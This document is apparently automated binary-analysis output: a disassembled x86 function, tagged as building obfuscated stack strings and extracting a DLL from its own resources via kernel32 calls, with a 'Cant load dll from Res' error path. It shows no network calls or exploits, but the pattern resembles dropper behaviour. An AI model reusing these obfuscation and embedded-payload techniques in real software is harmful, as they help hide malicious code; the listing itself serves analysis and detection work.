Function at 0x10019690
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x1004abce
push eax
mov eax, 0x29e0
mov dword fs:[0], esp
call fcn.1004a590
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x2a00]
push 0x2349
push 0x68
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x100196e7
mov esi, dword [esp + 0x2a0c]
push esi
call fcn.10019430
add esp, 4
test eax, eax
jne 0x10019748
jmp 0x10019c72
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1001970d
push 0x10
push str.Error
push str.Cant_load_dll_from_Res_
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x10019c72
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [0x1021d200], eax
jne 0x10019737
push 0x10
push str.Error
push str.Cant_load_dll_from_Res_
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x10019c72
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, dword [esp + 0x2a0c]
mov dword [esi], eax
mov eax, dword [esi]
mov edx, dword [0x1021d200]
mov ebp, dword [esp + 0x2a04]
mov ecx, 0x996
lea esi, [eax + edx - 0x2658]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x1ff
div ecx
mov al, 0x30
push 0x4cc
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x36], al
lea eax, [ebp + 0x128]
mov bl, 0x60
mov cl, 0x20
mov byte [esp + 0x18], 0x14
mov byte [esp + 0x19], 0x28
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0xc8
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x12
mov byte [esp + 0x20], 0x18
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x23], 0
mov byte [esp + 0x24], 0x22
mov byte [esp + 0x25], 0
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], 0
mov byte [esp + 0x28], 0x90
mov byte [esp + 0x29], 0x66
mov byte [esp + 0x2b], 0
mov byte [esp + 0x2c], pe_nt_image_headers32
mov byte [esp + 0x2d], 2
mov byte [esp + 0x2e], 0x7f
mov byte [esp + 0x2f], 0x3a
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], 0x23
mov byte [esp + 0x32], 0x36
mov byte [esp + 0x33], cl
mov byte [esp + 0x34], 0x80
mov byte [esp + 0x35], bl
mov byte [esp + 0x37], 0
mov dword [0x1021d434], edx
mov dl, 0xe
mov byte [esp + 0x22], dl
mov byte [esp + 0x2a], dl
lea edx, [esp + 0x18]
push edx
push 0x64
push eax
call fcn.100179c0
xor ebx, ebx
push 0x14
mov dword [esp + 0x24], ebx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov dword [esp + 0x38], eax
cmp eax, ebx
mov dword [esp + 0x29f8], ebx
je 0x1001985b
mov ecx, eax
call fcn.1001a870
mov ebx, eax
mov cl, byte [0x1021d41c]
xor eax, eax
mov byte [esp + 0x190], cl
mov ecx, 0x81
lea edi, [esp + 0x191]
lea edx, [esp + 0x190]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push edx
mov dword [esp + 0x29fc], 0xffffffff
stosb byte es:[edi], al
call fcn.100193b0
mov ecx, 0x996
mov esi, ebp
lea edi, [esp + 0x39c]
add esp, 4
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x996
lea esi, [esp + 0x398]
mov edi, ebp
rep movsd dword es:[edi], dword [esi]
mov al, byte [ebp + 0x570]
cmp al, 1
lea eax, [esp + 0x8c]
push eax
jne 0x100198e7
mov ecx, dword [esp + 0x14]
push ecx
mov ecx, ebx
call fcn.1001c520
lea edx, [esp + 0x8c]
mov ecx, ebx
push edx
mov esi, eax
call fcn.1001a9c0
jmp 0x10019903
mov ecx, dword [ebp + 0x560]
mov edx, dword [ebp + 0x564]
mov eax, dword [esp + 0x14]
push ecx
push edx
push eax
mov ecx, ebx
call fcn.1001c4d0
mov esi, eax
test esi, esi
je 0x10019951
cmp byte [ebp + 0x558], 1
jne 0x10019c03
mov eax, dword [0x1021d4c8]
test eax, eax
jne 0x10019c03
lea ecx, [esp + 0x190]
mov dword [0x1021d4c8], 1
push ecx
push ebp
call fcn.10019580
add esp, 8
test eax, eax
je 0x10019c03
mov dword [esp + 0x10], 0
jmp 0x100198a6
lea edx, [esp + 0x8c]
lea esi, [ebp + 0x118]
push edx
push 0x10
push esi
call fcn.10017b90
add esp, 0xc
test eax, eax
je 0x10019bfa
lea eax, [esp + 0x8c]
push eax
push 0x118
push ebp
call fcn.10017b90
add esp, 0xc
test eax, eax
je 0x10019bfa
lea ecx, [ebp + 0x5f4]
push ecx
push 0x118
push ebp
call fcn.10017c70
mov al, byte [ebp + 4]
add esp, 0xc
test al, al
jne 0x100199b9
cmp byte [ebp + 0x558], 1
jne 0x10019aa4
lea edx, [esp + 0x8c]
lea eax, [esp + 0x38]
push edx
push eax
mov ecx, ebx
call fcn.1001cb00
test eax, eax
jne 0x10019bfa
mov cl, byte [0x1021d41c]
xor edx, edx
mov dword [esp + 0x3d], edx
mov byte [esp + 0x3c], cl
lea eax, [esp + 0x8c]
mov dword [esp + 0x41], edx
lea ecx, [esp + 0x3c]
push eax
mov dword [esp + 0x49], edx
push ecx
mov ecx, ebx
mov dword [esp + 0x51], edx
call fcn.1001ccf0
test eax, eax
jne 0x10019bfa
lea edx, [esp + 0x3c]
lea eax, [ebp + 0x105]
push edx
push eax
call sub.MSVCRT.dll__stricmp
add esp, 8
test eax, eax
jne 0x10019bfa
cmp byte [ebp + 0x126], 1
jne 0x10019aa4
mov eax, dword [0x1021d460]
test eax, eax
jne 0x10019a5e
lea ecx, [esp + 0x190]
mov dword [0x1021d460], 1
push ecx
push ebp
call fcn.10019580
add esp, 8
test eax, eax
je 0x10019c1c
mov dl, byte [0x1021d41c]
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], dl
rep stosd dword es:[edi], eax
lea eax, [esp + 0x8c]
lea ecx, [esp + 0x68]
push eax
push ecx
mov ecx, ebx
call fcn.1001ca30
test eax, eax
jne 0x10019bfa
lea edx, [esp + 0x68]
push edx
call dword [0x1021d4b8]
test eax, eax
jne 0x10019bfa
cmp byte [ebp + 0x570], 3
jne 0x10019aed
mov al, byte [ebp + 0x2a]
test al, al
je 0x10019aed
lea eax, [esp + 0x8c]
mov ecx, ebx
push eax
call fcn.1001a9c0
mov edx, dword [ebp + 0x568]
mov eax, dword [ebp + 0x56c]
lea ecx, [esp + 0x8c]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push eax
push ecx
mov ecx, ebx
call fcn.1001c480
test eax, eax
jne 0x10019bfa
cmp byte [ebp + 0x570], 1
jne 0x10019b18
mov al, byte [ebp + 0x29]
test al, al
je 0x10019b38
lea edx, [esp + 0x8c]
push edx
push ebp
call fcn.10017e30
add esp, 8
test eax, eax
je 0x10019bfa
jmp 0x10019b38
mov al, byte [ebp + 0x2a]
test al, al
je 0x10019b38
lea eax, [esp + 0x8c]
push eax
push ebp
call fcn.10017e30
add esp, 8
test eax, eax
je 0x10019bfa
mov al, byte [ebp + 0x2b]
test al, al
je 0x10019b58
lea ecx, [esp + 0x8c]
push ecx
push ebp
call fcn.10017f50
add esp, 8
test eax, eax
je 0x10019bfa
cmp byte [ebp + 0x570], 1
je 0x10019b7d
mov al, byte [ebp + 0x29]
test al, al
je 0x10019b7d
lea edx, [esp + 0x8c]
push edx
push ebp
call fcn.10017cf0
add esp, 8
test eax, eax
je 0x10019bfa
mov eax, dword [0x1021d460]
test eax, eax
je 0x10019b8c
call dword [0x1021d494]
mov eax, dword [esi]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x60]
push 0x101e1fc8
push ecx
call esi
mov edx, dword [ebp + 0x11c]
lea eax, [esp + 0x5c]
push edx
push 0x101e1fc8
push eax
call esi
add esp, 0x18
lea ecx, [esp + 0x8c]
lea edx, [esp + 0x50]
lea eax, [esp + 0x5c]
push ecx
push edx
push eax
lea ecx, [esp + 0x43]
push 0
push ecx
mov ecx, ebx
call fcn.1001c040
test eax, eax
jne 0x10019bfa
lea edx, [esp + 0x8c]
lea eax, [esp + 0x50]
push edx
lea ecx, [esp + 0x60]
push eax
push ecx
push ebp
call fcn.10019170
add esp, 0x10
test eax, eax
jne 0x10019c35
inc dword [esp + 0x10]
jmp 0x100198a6
test ebx, ebx
je 0x10019c0f
mov edx, dword [ebx]
push 1
mov ecx, ebx
call dword [edx]
push ebp
call fcn.10019230
add esp, 4
xor eax, eax
jmp 0x10019c72
test ebx, ebx
je 0x10019c28
mov eax, dword [ebx]
push 1
mov ecx, ebx
call dword [eax]
push ebp
call fcn.10019230
add esp, 4
xor eax, eax
jmp 0x10019c72
mov edx, dword [esp + 0x2a08]
lea ecx, [esp + 0x8c]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, byte [ebp + 0x2b]
test al, al
je 0x10019c61
lea eax, [esp + 0x8c]
push eax
push ebp
call dword [0x1021d42c]
test ebx, ebx
je 0x10019c6d
mov edx, dword [ebx]
push 1
mov ecx, ebx
call dword [edx]
mov eax, 1
mov ecx, dword [esp + 0x29f0]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x29ec
ret